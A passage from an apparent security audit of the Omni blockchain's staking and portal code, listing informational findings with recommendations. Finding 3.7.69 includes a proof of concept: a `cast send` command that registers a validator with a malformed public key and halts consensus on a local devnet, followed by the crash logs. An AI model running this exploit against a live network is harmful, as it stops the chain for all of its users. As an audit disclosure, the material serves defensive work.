2024-10-31 15:18:59 24-10-31 19:18:59.893 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-10-31 15:18:59 2024/10/31 19:18:59 **********************VerifyVoteExtension(): validator:
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1, block hash:
↪  0x92ad0961b58b67c124b7e796250e4c29b1cedb2856bd0bae38af5a6a0ac42daf, height: 53
2024-10-31 15:18:59 24-10-31 19:18:59.915 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-10-31 15:18:59 2024/10/31 19:18:59 **********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x92ad0961b58b67c124b7e796250e4c29b1cedb2856bd0bae38af5a6a0ac42daf, height: 53
2024-10-31 15:18:59 2024/10/31 19:18:59 ****************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:18:59 2024/10/31 19:18:59 ****************************Keeper::Add()
```

```
2024-10-31 15:18:59 24-10-31 19:18:59.925 DEBU Marked local votes as committed          votes=6 1652=[25]
↪  1651="[19 19]" 1654="[19 20 22]"
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Voter::SetCommitted()
2024-10-31 15:18:59 2024/10/31 19:18:59 *******************************Octane::msgServer::ExecutionPayload()
2024-10-31 15:18:59 2024/10/31 19:18:59 *******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0xf9e0798970a7807cb790bd7a7a2e55ae91f1cfe835710a4e6948f8b680b13a85
2024-10-31 15:18:59 24-10-31 19:18:59.936 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-10-31 15:18:59 24-10-31 19:18:59.936 INFO EVM staking delegation detected, delegating
↪  delegator=0x08585C0c34Ef84F7638c797DE454e287a051874E validator=0x08585C0c34Ef84F7638c797DE454e287a051874E
↪  amount=1000000000000000000
2024-10-31 15:18:59 24-10-31 19:18:59.936 DEBU  Delegation shares modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-10-31 15:18:59 24-10-31 19:18:59.936 DEBU  Delegation modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-10-31 15:18:59 24-10-31 19:18:59.937 DEBU Delivered evm logs                       height=51 count=1
2024-10-31 15:18:59 2024/10/31 19:18:59 *******************************Attest::Keeper::Approve()
2024-10-31 15:18:59 24-10-31 19:18:59.937 DEBU  Approved attestation                 chain=omni_evm|L
↪  attest_offset=19 height=50 hash=9b87346
2024-10-31 15:18:59 24-10-31 19:18:59.937 DEBU  Approved attestation                 chain=omni_evm|F
↪  attest_offset=19 height=50 hash=9b87346
2024-10-31 15:18:59 24-10-31 19:18:59.937 DEBU  Approved attestation                 chain=mock_12|F
↪  attest_offset=19 height=81 hash=d222571
2024-10-31 15:18:59 2024/10/31 19:18:59 *******************************Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Voter::TrimBehind()
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************ValSync::Keeper::Add(EndBlock)
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Portal::Keeper::EmitMsg() height 53,
↪  destChainID 0, shardID 260
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Portal::Keeper::EmitMsg() moving on
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Portal::Keeper::EmitMsg() 14 vs 14
2024-10-31 15:18:59 24-10-31 19:18:59.938 INFO  Storing new unattested validator set  valset_id=13 len=4
↪  updated=1 removed=0 total_power=424 height=53
2024-10-31 15:18:59 24-10-31 19:18:59.938 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=106 Block Height=53
2024-10-31 15:18:59 24-10-31 19:18:59.938 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=106 Block Height=53
2024-10-31 15:18:59 24-10-31 19:18:59.938 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=106 Block Height=53
2024-10-31 15:18:59 24-10-31 19:18:59.938 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=106 Block Height=53
2024-10-31 15:18:59 24-10-31 19:18:59.939 DEBU hash of all writes
↪  workingHash=775716892A33DF280CD2381E592959383DA98488C077BC5189CE1938E310C39A
2024-10-31 15:18:59 24-10-31 19:18:59.939 DEBU Starting optimistic EVM payload build    next_height=54
2024-10-31 15:18:59 24-10-31 19:18:59.941 DEBU  ABCI response: FinalizeBlock          height=53 val_updates=0
2024-10-31 15:18:59 24-10-31 19:18:59.942 DEBU  ABCI call: Commit
2024-10-31 15:18:59 24-10-31 19:18:59.946 DEBU prune start                            height=53
2024-10-31 15:18:59 24-10-31 19:18:59.946 DEBU pruning skipped, height is less than or equal to 0
2024-10-31 15:18:59 24-10-31 19:18:59.946 DEBU prune end                              height=53
2024-10-31 15:18:59 24-10-31 19:18:59.946 DEBU flushing metadata                      height=53
2024-10-31 15:18:59 24-10-31 19:18:59.947 DEBU flushing metadata finished             height=53
2024-10-31 15:18:59 24-10-31 19:18:59.947 DEBU snapshot is skipped                    height=53
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::runOnce(): height: 14,
↪  AttestInterval: 0
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::Vote(): allowSkip: false, height: 14
2024-10-31 15:19:00 24-10-31 19:19:00.209 DEBU  Created vote for cross chain block    chain=omni_consensus|F
↪  height=14 offset=14 msgs=1 B|=14
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::runOnce(): height: 52,
↪  AttestInterval: 5
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::Vote(): allowSkip: false, height: 52
2024-10-31 15:19:00 24-10-31 19:19:00.657 DEBU  Created vote for cross chain block    chain=omni_evm|F
↪  height=52 offset=20 msgs=2 F|mock_l2=5
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::Vote(): allowSkip: false, height: 85
2024-10-31 15:19:00 24-10-31 19:19:00.709 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=85 offset=24 msgs=1 L|mock_l2=6
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 ***************************Voter::Vote(): allowSkip: false, height: 93
2024-10-31 15:19:00 24-10-31 19:19:00.736 DEBU  Created vote for cross chain block    chain=mock_l1|L
↪  height=93 offset=26 msgs=1 L|omni_evm=6
```

```
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::runOnce(): height: 52,
↪  AttestInterval: 5
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::Vote(): allowSkip: false, height: 52
2024-10-31 15:19:00 24-10-31 19:19:00.841 DEBU  Created vote for cross chain block    chain=omni_evm|L
↪  height=52 offset=20 msgs=2 F|mock_l2=5
2024-10-31 15:19:01 24-10-31 19:19:01.639 DEBU  ABCI call: ProcessProposal            height=54 proposer=2679b0b
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x4e631376888ff6ff32667b3f36302e70164ce6b70b2420655e4abbff25537bf1
2024-10-31 15:19:01 2024/10/31 19:19:01 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 4 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 4 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 5 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 4 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 5 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 6 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 5 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 6 (256)
2024-10-31 15:19:01 24-10-31 19:19:01.645 DEBU Marked local votes as proposed           votes=3 1001651=[13]
↪  1654=[21] 1652=[23]
2024-10-31 15:19:01 2024/10/31 19:19:01 **************************Voter::SetProposed()
2024-10-31 15:19:01 2024/10/31 19:19:01 **************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-10-31 15:19:01 2024/10/31 19:19:01 **************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-10-31 15:19:01 2024/10/31 19:19:01 **************************Voter::runOnce(): height: 94,
↪  AttestInterval: 10
2024-10-31 15:19:01 2024/10/31 19:19:01 **************************Voter::runOnce(): height: 94,
↪  AttestInterval: 10
2024-10-31 15:19:01 24-10-31 19:19:01.742 DEBU  ABCI call: ExtendVote                height=54
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************ExtendVote(): LocalAddress -->
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73. Available: 5
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************ExtendVote(): final votes: 5
2024-10-31 15:19:01 24-10-31 19:19:01.743 INFO Voted for rollup blocks                votes=5 1652-1=[26]
↪  1001651-4=[14] 1651-4=[20] 1651-1=[20] 1652-4=[24]
2024-10-31 15:19:01 24-10-31 19:19:01.840 DEBU  ABCI call: VerifyVoteExtension       height=54
2024-10-31 15:19:01 2024/10/31 19:19:01 **********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x0793b4c31407e7b21c9502f3c1614df69eea93e3de37fac4c29e2bff10678e13, height: 54
2024-10-31 15:19:01 24-10-31 19:19:01.842 DEBU  ABCI call: VerifyVoteExtension       height=54
```

```
2024-10-31 15:19:01 2024/10/31 19:19:01 **********VerifyVoteExtension(): validator:
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7, block hash:
↪  0x0793b4c31407e7b21c9502f3c1614df69eea93e3de37fac4c29e2bff10678e13, height: 54
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Octane::msgServer::ExecutionPayload()
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0x4e631376888ff6ff32667b3f36302e70164ce6b70b2420655e4abbff25537bf1
2024-10-31 15:19:01 24-10-31 19:19:01.854 DEBU Delivered evm logs                    height=52 count=0
2024-10-31 15:19:01 2024/10/31 19:19:01 **********msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Keeper::Add()
2024-10-31 15:19:01 24-10-31 19:19:01.858 DEBU Marked local votes as committed      votes=3 1001651=[13]
↪  1654=[21] 1652=[23]
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Voter::SetCommitted()
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Attest::Keeper::Approve()
2024-10-31 15:19:01 24-10-31 19:19:01.865 DEBU  Approved attestation                chain=mock_l1|L
↪  attest_offset=25 height=90 hash=e0544d7
2024-10-31 15:19:01 24-10-31 19:19:01.865 DEBU  Approved attestation                chain=mock_l1|F
↪  attest_offset=23 height=83 hash=b8ead21
2024-10-31 15:19:01 24-10-31 19:19:01.865 DEBU  Approved attestation                chain=mock_l2|L
↪  attest_offset=22 height=90 hash=1a7b8e8
2024-10-31 15:19:01 24-10-31 19:19:01.865 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=20 height=82 hash=c4d226e
2024-10-31 15:19:01 24-10-31 19:19:01.865 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=21 height=83 hash=90fba21
2024-10-31 15:19:01 24-10-31 19:19:01.866 DEBU  Approved attestation                chain=omni_consensus|F
↪  attest_offset=13 height=13 hash=0000000
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Voter::TrimBehind()
2024-10-31 15:19:01 2024/10/31 19:19:01 **********ValSync::Keeper::Add(EndBlock)
2024-10-31 15:19:01 24-10-31 19:19:01.866 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 24-10-31 19:19:01.866 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 24-10-31 19:19:01.866 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 24-10-31 19:19:01.866 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 2024/10/31 19:19:01 **********Voter::UpdateValidatorSet()
2024-10-31 15:19:01 24-10-31 19:19:01.866 INFO  Activating attested validator set     valset_id=12
↪  created_height=52 height=54
2024-10-31 15:19:01 24-10-31 19:19:01.867 DEBU hash of all writes
↪  workingHash=A1FE7B3082F2194260FF0BC059A907CD28C63AEF9BCBF97621A0AA97CBBC67C2
2024-10-31 15:19:01 24-10-31 19:19:01.867 DEBU  ABCI response: FinalizeBlock          height=54 val_updates=3
↪  pubkey_0=03fa1c9 power_0=106 pubkey_1=03e7453 power_1=106 pubkey_2=031c570 power_2=106
2024-10-31 15:19:01 24-10-31 19:19:01.868 DEBU  ABCI call: Commit
```

- Recommendation At least flagging the situation in case you want to fix this and make it more robust.

3.7.67 Lack of setter functions for `MinDeposit` and `MinDelegation`

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Finding Description

The `createValidator()` and `delegate()` in the Staking contract defines two constants, `MinDeposit` and `MinDelegation` which specify the minimum amounts required for creating a validator and delegating repectively. These values are set during deployment and cannot be changed without redeploying the entire contract. If any modification is required, the contract cannot be updated unless re-deployed or upgraded entirely. modifiable parameters should be used through setter functions.

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol#L89-L95

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol#L103-L112

- Impact

The inability to update the `MinDeposit` and `MinDelegation` without redeploying the entire contract can limit the contract's flexibility and adaptability. As market conditions or the project's requirements change

over time, the team may want to adjust these minimum thresholds. Without the ability to do so, the contract could become less competitive or lose relevance.

- Recommendation

Consider adding setter functions to `Staking.sol` to be able to update and modify parameters dynamically allowing better control and reducing the risk of outdated hardcoded values without having to redeploy the entire contract.

3.7.68 Octane Protobuf definition does not follow Cosmos naming convention

Severity: Informational

Context: tx.proto#L15-L32

- Description

According to the Cosmos SDK documentation about `Msg` Services':

> Each `Msg` service method must have exactly one argument, which must implement the `transaction.Msg` interface, and a Protobuf response. The naming convention is to call the RPC argument `Msg<service-rpc-name>` and the RPC response `Msg<service-rpc-name>Response`.

The `ExecutionPayloadResponse` does not follow this naming convention.

- Recommendation

Rename `ExecutionPayloadResponse` into `MsgExecutionPayloadResponse`.

3.7.69 Malicious staker can halt the chain through incorrect compressed format of public key

Severity: Informational

Context: Staking.sol#L84-L95, evmstaking.go#L143-L195

- Description

The validator creation through the staking contract requires to register a validator public key. This public key must be 33 bytes and **should comply** with the SECP compression format. This means that the public key must start with `0x02` or `0x03`.

However, none of the `Staking` contract or the Halo node does verify that the public key start with `0x02` or `0x03`. This leads an incorrect public key to be registerable as a validator public key.

When such invalid public key is registered, a `CONSENSUS FAILURE` will be triggered in the `FinalizeBlock` of the Omni chain and the chain will not process EVM blocks anymore.

- Code snippet

`Staking.createValidator` does not check that the public key start with the expected compression byte:

```
    /**
     * @notice Create a new validator
     * @param pubkey The validators consensus public key. 33 bytes compressed secp256k1 public key
     * @dev Proxies x/staking.MsgCreateValidator
     */
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length"); // @POC: Only length is checked
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);            // @POC: Emit a CreateValidator event
    }
```

Then, the `deliverCreateValidator` function decodes the event and create a new validator with this specific public key.

```
func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator) error
{
    pubkey, err := k1util.PubKeyBytesToCosmos(ev.Pubkey) // @POC: public key is not checked, just formatted
↪   for Cosmos
    if err != nil {
        return errors.Wrap(err, "pubkey to cosmos")
    }

    // ... (no checks about the pubkey)

    msg, err := stypes.NewMsgCreateValidator(
        valAddr.String(),
        pubkey,             // @POC: Create a validator with the invalid public key
        amountCoin,
        stypes.Description{Moniker: ev.Validator.Hex()},
        stypes.NewCommissionRates(math.LegacyZeroDec(), math.LegacyZeroDec(), math.LegacyZeroDec()),
        math.NewInt(1)) // Stub out minimum self delegation for now, just use 1.
    if err != nil {
        return errors.Wrap(err, "create validator message")
    }

    _, err = skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg) // @POC: create the validator
    if err != nil {
        return errors.Wrap(err, "create validator")
    }

    return nil
}
```

As we can see, none of these functions check that the public key has the expected format.

- Recommendation

Ensure that the 33-byte public key starts with either `0x02` or `0x03`. This can be done at the `Staking` contract level or at the `deliverCreateValidator` level (or both).

- Appendix
- Proof of Concept
- Initial setup

Prerequisites:

- Go
- Docker
- Foundry (especially the `cast` command)

First, run a local devnet. At the root of the repository, run:

```
go run ./e2e -f e2e/manifests/devnet1.toml deploy
```

Wait until the chain is completely running.

Then, monitor the logs from one of the validator:

```
docker logs -f validator01
```

We can read the current EVM block number by executing the following command. Executing it multiple times will show that the block number increases.

```
cast block-number --rpc-url http://127.0.0.1:8002/
```

- Exploit

Create a transaction that interacts with the staking contract to create a validator with a public key that does not respect the SECP public key compression (not starting with `0x02` and `0x03`).

```
cast send 0xCCcCcC0000000000000000000000000000000001 "createValidator(bytes)"
↪  0x07000000000000000000000000005911b844d7bc224654fe0dcd16babd2d253f0000  --private-key
↪  "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" -r http://127.0.0.1:8000/ --value
↪  10000000000000000000
```

Note: the public key passed as argument starts with `0x07`.

- Impact

The Cosmos chain will try to use this new public key but will fail to recognize the public key format as `0x07` is not recognized. This leads to a **CONSENSUS FAILURE**. This can be seen in the logs of the `validator01` container.

```
24-11-01 14:09:46.176 ERR0 Finalize req failed [BUG]                height=91 err="insert updates: get pubkey:
↪  invalid public key: unsupported format: 7" stacktrace="[errors.go:39 keeper.go:251 keeper.go:134
↪  keeper.go:103 module.go:83 module.go:803 app.go:170 baseapp.go:798 abci.go:822 abci.go:887 cmt_abci.go:44
↪  abci.go:95 local_client.go:185 app_conn.go:104 execution.go:224 execution.go:202 state.go:1772
↪  state.go:1682 state.go:1617 state.go:1655 state.go:2335 state.go:2067 state.go:929 state.go:836
↪  asm_amd64.s:1700]"
24-11-01 14:09:46.176 ERR0 error in proxyAppConn.FinalizeBlock      module=state err="insert updates: get
↪  pubkey: invalid public key: unsupported format: 7" stacktrace="[errors.go:39 keeper.go:251 keeper.go:134
↪  keeper.go:103 module.go:83 module.go:803 app.go:170 baseapp.go:798 abci.go:822 abci.go:887 cmt_abci.go:44
↪  abci.go:95 local_client.go:185 app_conn.go:104 execution.go:224 execution.go:202 state.go:1772
↪  state.go:1682 state.go:1617 state.go:1655 state.go:2335 state.go:2067 state.go:929 state.go:836
↪  asm_amd64.s:1700]"
24-11-01 14:09:46.176 ERR0 CONSENSUS FAILURE!!!                     module=consensus err="failed to apply
↪  block; error insert updates: get pubkey: invalid public key: unsupported format: 7"
  stack=
   goroutine 287 [running]:
   runtime/debug.Stack()
   \t/home/zigtur/go/src/runtime/debug/stack.go:26 +0x5e
   github.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:801 +0x46
   panic({0x25d3200?, 0xc007deed90?})
   \t/home/zigtur/go/src/runtime/panic.go:785 +0x132
   github.com/cometbft/cometbft/consensus.(*State).finalizeCommit(0xc0025c6008, 0x5b)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1781 +0xde5
   github.com/cometbft/cometbft/consensus.(*State).tryFinalizeCommit(0xc0025c6008, 0x5b)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1682 +0x2e8
   github.com/cometbft/cometbft/consensus.(*State).enterCommit.func1()
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1617 +0x9c
   github.com/cometbft/cometbft/consensus.(*State).enterCommit(0xc0025c6008, 0x5b, 0x0)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1655 +0xc2f
   github.com/cometbft/cometbft/consensus.(*State).addVote(0xc0025c6008, 0xc000efdd40, {0xc002ea69f0, 0x28})
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2335 +0x1c6d
   github.com/cometbft/cometbft/consensus.(*State).tryAddVote(0xc0025c6008, 0xc000efdd40, {0xc002ea69f0?, 0x0?})
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2067 +0x26
   github.com/cometbft/cometbft/consensus.(*State).handleMsg(0xc0025c6008, {{0x320ea80, 0xc00328e460},
  ↪  {0xc002ea69f0, 0x28}})
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:929 +0x38b
   github.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc0025c6008, 0x0)
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:836 +0x3f1
   created by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 208
   \t/home/zigtur/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:398 +0x10c
```

Moreover, the EVM block is not increasing anymore.

3.7.70 Static fee for unmetered resources can be inappropriate to prevent spam

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description Because `unjail` operations are unmetered (as they require consensus chain work and there is no `AnteHandler` with a corresponding gas meter, as `SkipAnteHandler` is set to true), a simple approach is implemented to prevent spamming and overloading the consensus chain: The user has to pay a fee of 0.1 OMNI for every `unjail` operation. This approach can be inappropriate for multiple reasons:
- **Economic concerns:** The USD value of OMNI may fluctuate significantly such that 0.1 $OMNI could either be a huge amount (which would be good for spam protection, but may not be liked by validators that have to perform this call) or essentially dust. In the latter case, this check does not really help. Spamming a lot of operations to overload the consensus chain is still possible and very cheap.
- **Fixed fee for dynamic resource:** The fee is always 0.1 OMNI, no matter how utilized the consensus chain currently is. If there are 200 unjail operations in a block, the user has to pay the same as if there is one. This is in stark contrast to other blockchain fee systems that heavily rely on the fact that the paid fees rise when utilization rises and vice-versa (e.g. on Ethereum or most other chains). Without such a dynamic fee mechanism / fee market, ETH would have been down many times. It also means that you cannot pay more to get prioritized, as there is no prioritization and it is all-or-nothing (if there are too many operations in a block at one point, it will reach a timeout and not get produced).
- **Arbitrary fee not related to actual work performed:** The value of 0.1 OMNI seems arbitrary and not related to the actual work that the consensus chain has to perform, which against goes against the principle of fee / gas architecture.

The above points mean that this mechanism will not be effective in practice to prevent spamming and / or implement effective scheduling of a utilized resource (which gas is all about in the end). This can lead to situations where too many `unjail` operations are included in a block and cannot be processed in time (because of timeouts), which means that no block will be produced.

- Recommendation Implement fee metering for these operations and charge the user accordingly.

3.7.71 Xcall Dos Due to uint8 max limit to Shards in Chain

Severity: Informational

Context: OmniPortal.sol#L131-L143

- Description L131 of the OmniPortal contract shows that **conf** parameter is limited to a maximum value of uint8 max, and this conf value is used to derive the shard in the chain, it can be noted in the comment description at L142 that **for now, shardId is just conf level** however Sharding is an evolving area in blockchain technology, with various projects exploring different implementations. Zilliqa, and Shardus are chains, with capabilities for a high number of shards in thousands to improve network throughput.

```
>>>    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
      ...
```

However using uint8 for shard in the OmniPortal contract means the number of shard would be limited to 251 which would cause denial of service when shard to be passed in the xCall function is above 251.

- Recommendation As adjusted below conf should be uint64 not uint8 to prevent Dos when shard is greater than 251

```
---     function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
+++     function xcall(uint64 destChainId, uint64 conf, address to, bytes calldata data, uint64 gasLimit)
         external
         payable
         whenNotPaused(ActionXCall, destChainId)
     {
         require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
         require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
         require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
         require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
         require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

         // conf level will always be last byte of shardId. for now, shardId is just conf level
         uint64 shardId = uint64(conf);
         require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

         uint256 fee = feeFor(destChainId, data, gasLimit);
         require(msg.value >= fee, "OmniPortal: insufficient fee");

         outXMsgOffset[destChainId][shardId] += 1;

         emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪    fee);
     }
```

A similar issue to this vulnerability at L248 of the same contract that shows type conversion of shard to uint8 should also be corrected appropriately to prevent Dos from overflow

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {

         uint64 sourceChainId = xheader.sourceChainId;

         uint64 destChainId = xmsg_.destChainId;

         uint64 shardId = xmsg_.shardId;

         uint64 offset = xmsg_.offset;


         require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");

         require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");


         // verify xmsg conf level matches xheader conf level

